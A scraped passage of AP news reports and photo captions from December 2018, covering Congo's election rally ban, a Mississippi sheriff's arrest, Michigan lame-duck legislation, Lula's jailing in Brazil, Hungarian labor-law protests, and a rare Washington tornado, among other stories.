Photo/Jerome Delay) Congolese police chase supporters of opposition candidate Martin Fayulu who were marching towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) Congolese supporters of opposition candidate Martin Fayulu protest the cancellation of their rally in Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. The governor of Kinshasa has banned political activities till Dec. 23, election day, fearing violent action by party extremists disrupting what could be its first democratic, peaceful transfer of power since independence from Belgium in 1960. (AP Photo/Jerome Delay) CAPTION CORRECTS THE TOWN - Supporters of opposition candidate Martin Fayulu run from tear gas fired by police in Nsele, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The capital's governor Andre Kimbuta on Wednesday cancelled all political rallies in the city for the 21 candidates vying for the presidency in the Dec. 23 elections. (AP Photo/Jerome Delay) Congolese supporters of opposition candidate Martin Fayulu cheer as they await their candidate's arrival in Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. The governor of Kinshasa has banned political activities till Dec 23, election day, fearing violent action by party extremists that could disrupt the first democratic, peaceful transfer of power since independence from Belgium in 1960. (AP Photo/Jerome Delay) Congolese soldiers in Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018, as the governor of Kinshasa has banned political activities until election day, fearing violent action by party extremists. On Sunday Dec. 23, 2018, Congo faces what could be its first democratic, peaceful transfer of power since independence from Belgium in 1960. At stake is a vast country blessed with trillions of dollars in natural resources but long destabilized by dozens of rebel groups. (AP Photo/Jerome Delay) Congolese supporters of the National Party for Democracy (PND) parade in Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018, as the governor of Kinshasa has banned political activities till election day, fearing violent action by party extremists. On Sunday Dec. 23, 2018, Congo faces what could be its first democratic, peaceful transfer of power since independence from Belgium in 1960. At stake is a vast country blessed with trillions of dollars in natural resources but long destabilized by dozens of rebel groups. (AP Photo/Jerome Delay) Supporters of opposition candidate Martin Fayulu make their way towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) CAPTION CORRECTS THE TOWN - Supporters of opposition candidate Martin Fayulu walk towards Nsele, before his rally was stopped by police in Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The capital's governor Andre Kimbuta on Wednesday cancelled all political rallies in the city for the 21 candidates vying for the presidency in the Dec. 23 elections. (AP Photo/Jerome Delay) Thousands of supporters of opposition candidate Martin Fayulu make their way towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) In this photograph shot through a car windshield, Congolese police detain supporters of opposition candidate Martin Fayulu who were making their way towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) JACKSON, Miss. (AP) - A northern Mississippi sheriff was arrested Wednesday on a dozen felony charges involving guns, drugs, sex with inmates and threatening sheriff's department employees if they told anyone about the crimes. Webster County Sheriff Timothy Seth Mitchell was arrested Wednesday morning at his home in Eupora, said District Attorney Doug Evans, and jailed in Lafayette County awaiting a Thursday court appearance in Eupora. Evans said he knew of no attorney representing the 53-year-old. The second-term sheriff is charged with two counts each of embezzlement, trafficking in stolen firearms and furnishing an inmate with weapons, a cellphone and narcotics. Mitchell is also charged with one count each of attempting sex with an inmate; tampering with evidence and permitting possession or sale of a controlled substance in jail; and three counts of retaliation against a witness. A sworn statement from Mississippi Bureau of Investigation agent Mark Steed accuses Mitchell of multiple crimes beginning in November 2017, when he's accused of illegally buying pills from an informant. Beginning this spring, Mitchell is accused of seeking sex with two women in his jail. He's also accused of ordering a deputy to remove four guns from his department's evidence locker and selling or giving at least some to a department employee and an inmate. Mitchell also provided that same inmate with illegal drugs and a cellphone, Steed says, while ordering the deputy to remove illegal drugs from evidence. Mitchell threatened then-Chief Deputy Jeffrey Mann and two other employees if they told anyone, the charges say. Mann, cited as one of nine witnesses in the case, resigned Oct. 31, writing a letter to county supervisors accusing Mitchell of crimes. This is a Mississippi Department of Public Safety released photograph of Webster County Sheriff Timothy Seth Mitchell, 53, of Eupora, Miss., who was arrested on a dozen felony charges, including embezzlement and evidence tampering, Wednesday, Dec. 19, 2018, at his home. Mitchell was serving his second term as sheriff at the time of his arrest. Mitchell was remanded to the custody of the Lafayette County Sheriff's Department, in Oxford, Miss., pending his initial appearance. (Mississippi Department of Public Safety via AP) "After witnessing the illegal activities Sheriff Tim Mitchell has taken part (in), I cannot be part of this organization," wrote Mann, who had already announced he was running for sheriff next year. Mitchell had publicly announced he was going to resign, claiming health problems. He wavered on that announcement before reaffirming it in recent weeks. After Mitchell was arrested Wednesday, dozens of law enforcement officers swooped down on the Webster County sheriff's office and jail. WTVA-TV reported county jail inmates were led out to state Highway Patrol cars where they were questioned. In the meantime, agents of state Auditor Shad White inventoried sheriff's department equipment and evidence. Mitchell left chief deputy Andy McCants in charge, Evans said. If Mitchell resigns or is removed, supervisors would appoint a new sheriff. Evans said the charges would be presented to a grand jury, but said he wasn't sure when. The next regularly scheduled grand jury in Webster County meets in January. Conviction on all charges would carry a maximum penalty of 152 years in prison and fines of up to $102,000, officials said in a news release. Evans said charges against others are possible. "I have had cases where officers have been charged, but I have never had a case quite like this," Evans said. Mitchell is the second Mississippi sheriff arrested this year. William Brewer resigned as sheriff in northern Mississippi's Tallahatchie County in August, days after he was arrested on federal charges related to narcotics trafficking and extortion. Federal authorities said that for 15 years Brewer protected a drug dealer who robbed other dealers and kicked back stolen money and drug profits to Brewer. Brewer pleaded guilty Nov. 1 to one count of attempting to extort a bribe relating to $6,500 in cash that Brewer received earlier this year. He's scheduled for sentencing in February. ___ Follow Jeff Amy at http://twitter.com/jeffamy . LANSING, Mich. (AP) - Michigan's Republican-led Legislature raced Wednesday to pass bills in the final days of a contentious lame-duck session, as the fate of several key bills hung in the balance before newly elected Democrats take over top offices in January. The GOP will continue to control the House and Senate next term but will no longer have Republican Rick Snyder in the governor's office, making this postelection period crucial to enacting legislation - some already signed by Snyder - that could face resistance from Democratic Gov.-elect Gretchen Whitmer. Lawmakers left the most controversial measures until Thursday, the last scheduled day of a two-year session. Voting could extend into early Friday. A look at where things stand: ___ CAMPAIGN FINANCE OVERSIGHT Demonstrators gather at the steps of the Capitol before going inside to chant in the Rotunda as the Michigan Senate and House of Representatives consider bills during a "lame duck" session in Lansing, Mich., Wednesday, Dec 12, 2019. Michigan Republicans moved Wednesday to curtail ballot initiatives by advancing a measure limiting how many signatures could come from any one region of the state, the latest proposal assailed by critics as an unconstitutional, lame-duck power grab from incoming Democratic officeholders or voters. (Dale G.Young/Detroit News via AP) A Senate-backed attempt to strip incoming Democratic Secretary of State-elect Jocelyn Benson of campaign finance oversight and shift it to a new bipartisan commission appeared to be dead. The House Elections and Ethics Committee did not consider the measures Wednesday, with Republican Chairman Aaron Miller of Sturgis saying there was a "general lack of support. I think that the current process works well, and I think that there were issues with the bills." The legislation was seen by critics as one of the most explicit efforts to take power from a Democratic officeholder. ___ BALLOT DRIVES A Senate committee on Wednesday passed a revised version of a House-passed bill that would make it harder to initiate ballot drives by imposing a geographic-based limit on petition signatures - a month after voters passed proposals to legalize recreational marijuana, curtail gerrymandering and expand voting options. Groups currently need hundreds of thousands of valid signatures, but they can come from anywhere in the state. The legislation would let no more than 15 percent of signatures come from any one of Michigan's 14 congressional districts. Conservatives involved in successful abortion, tax and term limit initiatives in recent decades opposed the bill along with Democrats, liberal groups and volunteers for ballot drives. They said it is unconstitutional and an insult to voters. "What you're doing in stamping out our voice," said Daniel Smith of Portage, who volunteered for the initiative that put future rounds of redistricting in the hands of an independent commission rather than the Legislature. Many Republicans and the business community backed the legislation, saying ballot drives too often are controlled by out-of-state interests that use paid signature gatherers. "Voters from a wider variety of the state should get input on these proposals before they go on the ballot," said the sponsor, Republican Rep. James Lower of Cedar Lake. He likened the proposed geographic limit to what is required of U.S. Senate and gubernatorial candidates. ___ ATTORNEY GENERAL House-passed legislation would let the full Legislature or individual chambers automatically intervene in lawsuits, a power that until now has been reserved for the state attorney general. It is pending in the Senate. The move could affect Democratic Attorney General-elect Dana Nessel, who has said she probably will not defend a law allowing faith-based groups to refuse to serve same-sex couples who want to adopt children. The bill also could potentially affect Gov.-elect Gretchen Whitmer, who will be involved in shaping legal strategy. ___ ALREADY DONE Snyder already has signed into law bills that significantly scale back minimum wage and paid sick leave laws that started as ballot initiatives and were preemptively adopted by GOP lawmakers so they could be more easily changed after the election. The unprecedented maneuver is bound to be challenged in court. Snyder also signed legislation to help implement his deal with Canadian energy transport giant Enbridge to eventually replace an oil pipeline in the Great Lakes. Whitmer has criticized the agreement. Snyder has not tipped his hand on whether he will sign other controversial bills, should they reach his desk. One finalized Wednesday would make it a crime for government agencies to require the disclosure of nonprofits' donors, which some see as a pre-emptive strike against any attempts by Benson or Nessel to target the influence of "dark money" in elections. Republicans say the move would ensure First Amendment rights are protected. Another bill sent to Snyder would make it tougher for Whitmer and other future governors to adopt stricter environmental and other state regulations. He vetoed such a bill in 2011, though this one would allow rules to be stricter than federal regulations if there were a "clear and convincing need." ___ Follow David Eggert on Twitter at https://twitter.com/DavidEggert00 . His work can be found at https://apnews.com/search/David%20Eggert RIO DE JANEIRO (AP) - The chief justice of Brazil's Supreme Federal Court quickly overturned a lower court ruling Wednesday that could have opened the way for former President Luiz Inacio Lula da Silva to get out of jail. Federal Court Judge Marco Aurelio had ruled that prisoners serving sentences but appealing are constitutionally entitled to freedom, though he also said cases would have to be reviewed by the relevant presiding judge to determine if an inmate was eligible. Lawyers representing da Silva rushed to submit a petition seeking the immediate release of the former leader, who has been in prison since April after being convicted on charges that during his 2003-2010 administration he accepted bribes in exchange for favoring specific companies. Da Silva maintains his innocence and is appealing the conviction. The president of the high court, Dias Toffoli, dashed da Silva's hopes several hours later by throwing out Aurelio's ruling at the request of Attorney General Raquel Dodge. Dodge released a statement earlier criticizing Aurelio's decision, saying that keeping those convicted in prison "is necessary to contribute to the end of impunity, and ensure the credibility of government institutions." President-elect Jair Bolsonaro, a hard-right politician who takes office Jan. 1, took to Twitter to congratulate Toffoli for overturning the decision. Bolsonaro said it would have benefited tens of thousands of prisoners and put Brazil at risk. FILE - In this April 5, 2018 file photo, Brazil's former President Luiz Inacio Lula da Silva waves to supporters, in Sao Bernardo do Campo, Brazil. Lawyers representing the former leader say they have applied for his release following a legal ruling from a Supreme Court judge. Judge Marco Aurelio ruled Wednesday that individuals who have been convicted, but are at early stage of appeals, should be set free. The judge's decision would apply to da Silva who has been in prison since April and is appealing a conviction for corruption that led to a sentence of just over 12 years in prison. (AP Photo/Nelson Antoine, File) Da Silva is the defendant in nine cases related to the mammoth "Car Wash" corruption investigation that has upended Brazilian politics, leading to da Silva's leftist Workers Party losing power as well as numerous business executives and top politicians from a variety of parties ending up in prison. Back and forth rulings of this type have become common in Brazil, where many people see the justice system as becoming highly politicized with courts playing ideological favorites. "This type of ruling brings a strong component of instability and political radicalization to the Supreme Court," said Mauricio Santoro, a political scientist at Rio de Janeiro State University. "We have seen over the last months both the left and the right accusing the Supreme Court of becoming heavily politicized and interfering in areas that are outside its purview." Supporters of former Brazilian President Luiz Inacio Lula da Silva gather outside the Federal Police Department, in Curitiba, Brazil, Wednesday, Dec. 19, 2018. Lawyers representing the former leader say they have applied for his release following a legal ruling from a Supreme Court judge. Judge Marco Aurelio ruled Wednesday that individuals who have been convicted, but are at early stage of appeals, should be set free. The judge's decision would apply to da Silva who has been in prison since April and is appealing a conviction for corruption that led to a sentence of just over 12 years in prison. (AP Photo/Denis Ferreira) Demonstrators gather to support the release of jailed, former Brazilian President Luiz Inacio Lula da Silva in Sao Paulo, Brazil, Wednesday, Dec. 19, 2018. Da Silva is serving a 12 year sentence for corruption in Curitiba. (AP Photo/Nelson Antoine) Demonstrators chant slogans during a protest demanding the release of the jailed, former Brazilian President Luiz Inacio Lula da Silva in Sao Paulo, Brazil, Wednesday, Dec. 19, 2018. Da Silva is serving a 12 year sentence for corruption in Curitiba. (AP Photo/Nelson Antoine) ALBUQUERQUE, N.M. (AP) - Tribal and federal officials celebrated the return Wednesday of dozens of cultural items to Acoma Pueblo's nearly 1,000-year-old village in New Mexico after the tribe spent years pressing for the repatriations of ceremonial items from galleries, auction houses and private collections worldwide. Acoma Pueblo tribal Gov. Kurt Riley called the return of the items a "great joy and relief," while noting in a statement that the pueblo has yet to recover a shield that features the face of a Kachina, or ancestral spirit, from a Paris auction house. That shield remains at the EVE auction house more than two years after an international uproar prompted an attempt by U.S. to intervene. They issued a warrant for its return, and appealed to French officials to help halt bidding on the item that Riley says was illegally removed from the tribe's village west of Albuquerque. Situated atop a sandstone mesa, the traditional village is called Sky City, and its multi-story adobe complexes and homes overlook an expanse of desert where rock monoliths, rolling hills and mountains rise in different directions. Nearly 5,000 people Acoma Pueblo people call the area home, according to the tribe, and many continue to ask about the status of the shield in Paris and when it might return to the Pueblo. But for now, Riley and others are taking some satisfaction in the fact that another similar shield that had been listed for sale at a gallery in Montana is among more than two dozen items that federal authorities helped repatriate this week to the pueblo, he said. U.S. Attorney John Anderson said the Montana gallery is located in Bozeman. He said the business' owner voluntarily gave it to a U.S. Bureau of Indian Affairs agent after being approached about it. He did not name the gallery. FILE - In this May 24, 2016 file photo, Pueblo of Acoma Gov. Kurt Riley, center, accompanied by Pueblo of Acoma Traditional Leader Conroy Chino, left, speaks as a group of American Indian Nations and American Indian advocates hold a news conference at the Smithsonian National Museum of the American Indian in Washington. Tribal officials are marking the return of dozens of cultural items to Acoma Pueblo, where leaders have spent years pressing for the repatriation of ceremonial items. In a statement Wednesday, Dec. 19, 2018, Gov. Riley called the items' return a "great joy and relief." (AP Photo/Andrew Harnik, File) "It's home and it's in a safe place," Riley said in an interview. "That's what's most important." For several years, Acoma Pueblo and its quest for the shield in Paris have been at the center of a wave of efforts to place more overall focus on the repatriations of cultural and sacred pieces to tribes - with federal legislation, hearings and reports focused on the issue emerging in the last two years. A Government Accountability Office report this year found that the vast majority of items to land in what federal officials identified as primary markets for Native American cultural items came from the U.S. Southwest. Aaron Sims, an attorney for Acoma Pueblo, said the finding confirmed Acoma Pueblo leaders' long-held theory that tribes in the region have been disproportionately affected by the trafficking of ceremonial objects. Other items recently returned to Acoma Pueblo include what the governor described as five more large pieces, in addition to the shield returned from Montana, and an array of more than two dozen smaller items. Leaders of the Acoma Pueblo and other Southwest tribes often have been hesitant to discuss or publicly show their communities' sacred items as a way to protect their cultural identity, traditions and beliefs. Riley did not describe the additional items being returned to the pueblo, and they were not expected to be shown during a ceremony attended by federal officials Wednesday. In 2016, he and other Acoma Pueblo leaders made an exception in their decision to describe the shield in Paris during emotional public appeals for its return. According to the pueblo, the colorful shield stitched together with leather straps is an irreplaceable ceremonial object that holds a place in the cycle of the pueblo's ceremonies. The tribe and federal officials have said the shield was likely stolen from a home on the mesa in the 1970s. "There is no way a person could remove or sell the shield in compliance of tribal law," said Sims. French dealers at EVE have maintained that they acquired the shield legally under French and U.S. laws but removed it from a planned 2016 auction. For numerous collectors of Native American artifacts, there has been dispute over whether the shield was taken in violation of a 1990 federal law that carries penalties for trafficking human remains, burial objects or items of exceptional cultural or historical importance for a tribe. The bill became law amid concerns from tribes about looting and aggressive archaeological expeditions on tribal lands. More recent legislation, commonly referred to as the STOP Act, has been proposed to seek stiffer penalties for stealing and exporting tribal ceremonial items to foreign markets. Proposed in 2016 by U.S Sen. Martin Heinrich, a New Mexico Democrat, the legislation also would set an amnesty period for people to voluntarily return cultural items collected in violation of existing laws. It has not been approved by the Senate. SEATTLE (AP) - The Latest on a tornado that damaged homes in Washington state (all times local): 2:40 p.m. The National Weather Service says preliminary investigation shows an extremely rare tornado that touched down west of Seattle Tuesday was rated an EF2. That means it is considered to have been a significant tornado. Estimated peak winds during the tornado were up to 130 mph (209 kph). The Weather Service surveyed the damage and found homes without roofs, trees torn out of the ground and windows blown out of cars. It says significant tree and structure damage was noted along the twister's path. No injuries have been reported. Residents and emergency personnel on Harris Road in Port Orchard, Wash., on Tuesday, Dec. 18, 2018, after a tornado touched down. A rare tornado touched down in a Seattle suburb on Tuesday, damaging several homes and toppling trees, authorities said. (Larry Steagall/Kitsap Sun via AP) ___ 11:05 a.m. Crews are inspecting hundreds of homes in a community west of Seattle where a rare tornado caused "a lot of chaos" but no serious injuries. The twister touched down Tuesday afternoon in Port Orchard, Washington. Local fire officials hoped to complete an initial damage assessment by Wednesday night. Kitsap County Search and Rescue workers along with search dogs worked into Tuesday night. They swept the area checking for people who may have been injured or stranded but found none. The storm severely damaged several homes and caused more than 1,000 to lose power. Authorities say as many as 450 homes may have suffered damage. Port Orchard is about 15 miles (24 kilometers) west of Seattle, across Puget Sound on the Kitsap Peninsula. ____ 9:14 a.m. A National Weather Service storm damage survey team is heading to a town west of Seattle where a strong tornado blew through a neighborhood. The rare twister touched down Tuesday in Port Orchard, Washington. It damaged several homes and toppled trees. There were no immediate reports of injuries. The National Weather Service crew will determine just how powerful the storm was. The Kitsap County sheriff's office told local media the damage was "catastrophic" and contained to neighborhoods east and south of a Walmart in Port Orchard. The sheriff's office says power lines were down and roads were closed in the area. About 50 buildings were affected. Port Orchard is about 15 miles (24 kilometers) west of Seattle, across Puget Sound on the Kitsap Peninsula. Matt Hargis walks through downed trees behind the Walmart in Port Orchard, Wash., on Tuesday, Dec. 18, 2018, after a tornado touched down. Based on radar imagery and video evidence, a tornado touched down south of Port Orchard shortly before 2 p.m., the National Weather Service in Seattle said on Twitter. (Larry Steagall/Kitsap Sun via AP) A roof strut sticks up out of a yard on Plymouth Way after a tornado touched down in Port Orchard, Wash., on Tuesday, Dec. 18, 2018. A rare tornado touched down in a Seattle suburb on Tuesday, damaging several homes and toppling trees, authorities said. (Larry Steagall/Kitsap Sun via AP) Residents evacuate from their Harris Road in Port Orchard, Wash., on Tuesday, Dec. 18, 2018, after a tornado touched down. A rare tornado touched down in a Seattle suburb on Tuesday, damaging several homes and toppling trees, authorities said. (Larry Steagall/Kitsap Sun via AP) Emergency responders huddle on Harris Road to map out the response in Port Orchard, Wash., on Tuesday, Dec. 18, 2018, after a tornado touched down. A rare tornado touched down in a Seattle suburb on Tuesday, damaging several homes and toppling trees, authorities said. (Larry Steagall/Kitsap Sun via AP) A home that was damaged near the Walmart in Port Orchard, Wash., on Tuesday, Dec. 18, 2018, after a tornado touched down. A rare tornado touched down in a Seattle suburb on Tuesday, damaging several homes and toppling trees, authorities said. (Larry Steagall/Kitsap Sun via AP) A National Weather Service storm damage survey team is heading to a town west of Seattle where a strong tornado blew through a neighborhood. The rare twister touched down Tuesday, Dec. 18, 2018, in Port Orchard, Wash. It damaged several homes and toppled trees. There were no immediate reports of injuries.. (Steve Ringman/The Seattle Times via AP) Melinda St. John, left, helps her niece, Jasmin Mueller, 16, lower right, recover valuables from the living room of a house owned by St. John's sister Beth Mueller, Wednesday, Dec. 19, 2018, in Port Orchard, Wash., the day after a tornado took the roof off the house and caused other damage Tuesday. St. John said that no one was at the house during the storm, and that all of the family pets survived. (AP Photo/Ted S. Warren) The Education Department's independent watchdog said Wednesday that it plans to investigate Secretary Betsy DeVos' decision to reinstate a troubled accrediting agency that was shut down by the Obama administration over allegations of lax oversight. The department's inspector general is launching the review in response to a Dec. 17 letter from Sen. Patty Murray of Washington and Rep. Bobby Scott of Virginia, the top Democrats on congressional committees that oversee education, a spokeswoman for the inspector general told The Associated Press. In their letter, the Democrats question how closely DeVos reviewed the Accrediting Council for Independent Colleges, and they suggest that education officials exaggerated the group's support from others in the industry, which was a factor in DeVos' decision to reinstate it. Liz Hill, a department spokeswoman, defended DeVos' decision and dismissed the letter's allegations as "ridiculous political theater." DeVos' Nov. 21 decision to revive the accrediting group has become a flashpoint in a broader debate over the regulation of for-profit colleges. Democrats say DeVos has been too friendly to the industry, while DeVos says the previous administration went too far working against it. President Barack Obama's administration cut ties with ACICS in 2016, citing a "profound lack of compliance" with federal standards. The group had been accused of poor oversight after giving its blessing to for-profit chains including Corinthian Colleges and ITT Technical Institute, which both folded amid widespread allegations of fraud. President Donald Trump listens as Secretary of Education Betsy DeVos speaks during a roundtable discussion on the Federal Commission on School Safety report, in the Roosevelt Room of the White House, Tuesday, Dec. 18, 2018, in Washington. (AP Photo/Evan Vucci) But the group challenged the decision in court and won, saying the department ignored 36,000 pages of evidence the accreditor had submitted in its defense. A federal judge in March ordered DeVos to revisit the case. Her review concluded that the agency was "substantially in compliance" with federal standards. She wrote that the Obama administration had either ignored or mischaracterized evidence to reach a "preordained result." As evidence that ACICS had gained "wide acceptance" from others in the industry - a requirement for all accrediting agencies - the department said it obtained letters of support from nine other accreditors. But eight of those groups later denied offering support, prompting the department to issue an Oct. 15 correction that cited letters from four different groups. Now, Democrats are challenging whether any agencies have backed the group. In the Dec. 17 letter, Murray and Scott say a congressional inquiry found "no evidence of any accreditation agency supporting ACICS' ability to grant or deny accreditation to instructions of higher education." A group of Democrats who contacted the four additional groups reported that they "carefully avoided asserting support." "If the department used incorrect information to determine ACICS' compliance with federal regulatory criteria for recognition, then the department's review process and re-recognition of ACICS put students and taxpayers at significant risk," according to the letter from Murray and Scott. Hill, the spokeswoman, said the primary issue is that the previous administration failed to review 36,000 pages of documents. "That egregious oversight led a federal court to remand the case back to the secretary, yet that seems to have remained off Sen. Murray and Rep. Scott's radar," she said. "To claim that an editing error, which was quickly corrected, invalidates the thorough 77-page recommendation is ridiculous political theater." The Dec. 17 letter also accuses the department of failing to examine ACICS's ability to monitor the finances of its schools. Murray and Scott cite the sudden closure of Education Corporation of America, a major for-profit chain that was endorsed by ACICS before it folded Dec. 5 amid deep financial trouble. Democrats have widely called on DeVos to rethink her support for ACICS following the closure, which affected roughly 15,000 students. The letter asks the inspector general to provide a response by Jan. 14. A spokeswoman for the office declined to provide further detail about the inquiry. ___ Follow Collin Binkley on Twitter at https://twitter.com/cbinkley BUDAPEST, Hungary (AP) - A government spokesman said Wednesday that Hungarian officials have no plans to change revised rules on overtime work and other labor code amendments that led to almost a week of protests, including one where state TV security guards roughed up opposition lawmakers. Government spokesman Zoltan Kovacs described the demonstrations that started the night lawmakers passed the amendments as "political," adding that they were organized by groups he claimed are backed by Hungarian-American financier George Soros. "What we see on the streets is a political protest organized by political parties and political activists" Kovacs told reporters in Paris. "The Hungarian regulation is fully in line with the European regulations and has nothing to do with slavery." Dubbed the "slave law" by critics, the changes won parliamentary approval on Dec. 12. They would increase the number of overtime hours employers could ask workers to put in voluntarily, essentially bringing back a six-day work week, and allow overtime payments to remain unpaid for up to three years. President Janos Ader hasn't yet signed them into law. Several opposition lawmakers have taken part in the protests outside the parliament building and at state television headquarters in Budapest. On Monday, security guards assaulted and ejected three who entered the state TV building, insisting on the right to read a list of five demands live on air. The demands included revocation of the labor law changes. Demonstrators gather in front of the Hungarian Embassy to protest the policies of Hungarian Prime Minister Viktor Orban, in Warsaw, Poland, Wednesday, Dec. 19, 2018. The small rally came as a gesture of solidarity with Hungarians who protested for several days against recent labor law changes in Budapest Hungary. (AP Photo/Czarek Sokolowski) "It has not happened in decades that a lawmaker suffered physical violence. It did not happen even during communism," said independent lawmaker Akos Hadhazy, one of the assaulted parliamentarians. "This means that on the way that leads from democracy to dictatorship, we are now certainly closer to dictatorship than to democracy." Bernadett Szel, another of the lawmakers expelled from the state TV building, said that if the president signs the law, they planned to appeal to Hungary's Constitutional Court and look for other legal options to have the amendments struck down. Kovacs condemned the lawmakers* actions. "Breaching not only physically, but also the protocols of public institutions is certainly not within the limits of expressing your opinion even if it comes from a political representative in parliament," Kovacs said. "Laws should be followed by everyone." Though the protests were sparked by the labor changes, multiple issues have fueled discontent with the government. Among them are the government*s decision to force a Budapest-based university founded by Soros to move most of its activities to Vienna next year; the creation of a new court system that will be under direct government control and corruption. Political opponents also object to Prime Minister Viktor Orban's moves to clamp down on the free press while creating a huge conglomerate of government-backed broadcast, online and print publications to uncritically echo the government*s policies. Several smaller demonstrations were held Wednesday around Hungary, while 16 trade unions and federations representing nearly 200,000 workers said they had formed a committee to prepare for a wide-ranging strike, possibly in January, to oppose the "slave law." ___ Jeffrey Schaeffer in Paris contributed to this report. Demonstrators gather in front of the Hungarian Embassy to protest the policies of Hungarian Prime Minister Viktor Orban, in Warsaw, Poland, Wednesday, Dec. 19, 2018. The small rally came as a gesture of solidarity with Hungarians who protested for several days against recent labor law changes in Budapest Hungary. (AP Photo/Czarek Sokolowski) Anti-government demonstrators march across Margaret Bridge over the River Danube with the Parliament building in the background, in Budapest, Hungary, Sunday, Dec. 16, 2018. Protesters are demonstrating against recent changes to the labour laws. (Balazs Mohai/MTI via AP) Parliamentary deputy of the oppositional Hungarian Socialist Party MSZP Zsolt Molnar, left, helps MSZP deputy Tamas Harangozo climb the fence of the public broadcaster MTVA in Budapest, Hungary, Monday, Dec. 17, 2018. Oppositional lawmakers protest against the amendments to the labour code adopted on Dec. 12, and insist to read out their demands live in the public media. (Zsolt Szigetvary/MTI via AP) In this Friday Dec. 14, 2018 photo, demonstrators rally at the Parliament building during an anti-government protest in Budapest, Hungary, Three demonstrators attacking the police line were arrested during the protest, which was held for the third day in a row against changes to the labour code adopted on Dec. 12. (Zoltan Balogh/MTI via AP) Anti-government demonstrators light up their mobile phones during their protest in the downtown of Budapest, Hungary, Sunday, Dec. 16, 2018. (Balazs Mohai/MTI via AP) JERUSALEM (AP) - An Israeli human rights group is questioning Israel's policy of firing warning shots at buildings before they are destroyed in airstrikes after it found that two teens were killed in a July strike. Israel has defended its "knock on the roof" policy as a way of preventing casualties. But B'Tselem said in a report Wednesday that two Palestinian teens died in a "warning strike" as they sat on a rooftop on July 14. The Israeli military says it uses low-explosive munitions to warn civilians of impending larger strikes, allowing people to flee and reduce casualties. B'Tselem questioned the practice's efficacy at protecting civilians. The military said it was unaware of anyone on the roof at the time of the attack, but that the military's advocate general is reviewing the incident. SACRAMENTO, Calif. (AP) - Democratic Gov. Jerry Brown helped make his party even more powerful in California during the last eight years and now, less than a month before leaving office, he predicts that dominance will make it difficult for his successor to control Democrats' hunger for spending and regulations. The leader of the most populous state has kept Democratic lawmakers in check by limiting spending on social programs in favor of saving it to protect against a future economic downtown. He sometimes butted heads with legislative leaders, warning spending too much now could hurt taxpayers or require budget cuts later. Democrats hold all statewide offices and expanded their supermajority in the Legislature after last month's election, allowing them to approve tax hikes and virtually any law without Republican support. "I'd say we're in for contentious times and for too many rules, too many constricting mandates and probably too much spending," Brown told The Associated Press in an interview Tuesday. He said Gov.-elect Gavin Newsom may have a hard time keeping fellow Democrats in check because "he's got to please some of these groups enough of the time to still be viable as a political leader." In the interview, Brown called for more blunt discussions about the danger of wildfires to force officials and residents to act, pushed back against critics who say he's too friendly to oil companies, and chided world leaders for failing to tackle climate change with urgency. In this Tuesday, Dec. 18, 2018 photo, California Gov. Jerry Brown discusses his time in the state's highest office during an interview with The Associated Press in Sacramento, Calif. Brown, a Democrat, will leave office Jan. 7 after serving a record four terms. (AP Photo/Rich Pedroncelli) Brown, 80, leaves office Jan. 7 after wrapping up a record four terms, first from 1975 to 1983 and again since 2011. Under a state law enacted between his tenures, no future governor may serve more than two terms, consecutive or not. Brown's comments on Democratic priorities reflect the more frugal attitude he brought to Sacramento. He entered office with a $27 billion deficit and leaves behind a nearly $15 billion rainy day fund and a budget surplus. Brown, however, has backed his own expensive plans. He used Democratic majorities to pass a controversial gas tax increase for road maintenance and has steadfastly defended a $77 billion project to build a high-speed rail line between Los Angeles and San Francisco that's seen repeated delays and cost overruns. While he warned against overspending, he said he expected dissonant voices among the Democratic majority - a result of what he called the party's greater diversity of people and ideas. Republicans, he said, hold a "slavish adherence" to a limited agenda and President Donald Trump. Brown will depart on the heels of the deadliest U.S. wildfire in a century. Flames tore through the town of Paradise last month, killing at least 86 people and destroying 14,000 homes. The governor blamed climate change for more destructive blazes in recent years and warned things will worsen. The governor called the need to limit building in areas at high risk for wildfires "obvious" but said it's "politically painful" to implement when people want to rebuild their homes and developers see opportunities. Those who choose to live there anyway need to plan escape routes, build cellars and manage vegetation, he said. And the state must be more forceful about the true danger of wildfires, he said. "I don't think governments lay out for people the stark warning: You may die in this particular environment," Brown said. Wildfires offer Brown an opportunity to call for swifter action against climate change, which is making California drier and more prone to flames. He's urged action beyond California, working with the U.N., creating a global coalition to reduce climate emissions and holding meetings in China and Russia. Brown is working on a climate-focused partnership between the University of California system and Tsinghau University in Beijing and can devote more time to it after leaving office, he said. His spokesman Evan Westrup declined to provide details. Critics say Brown has a 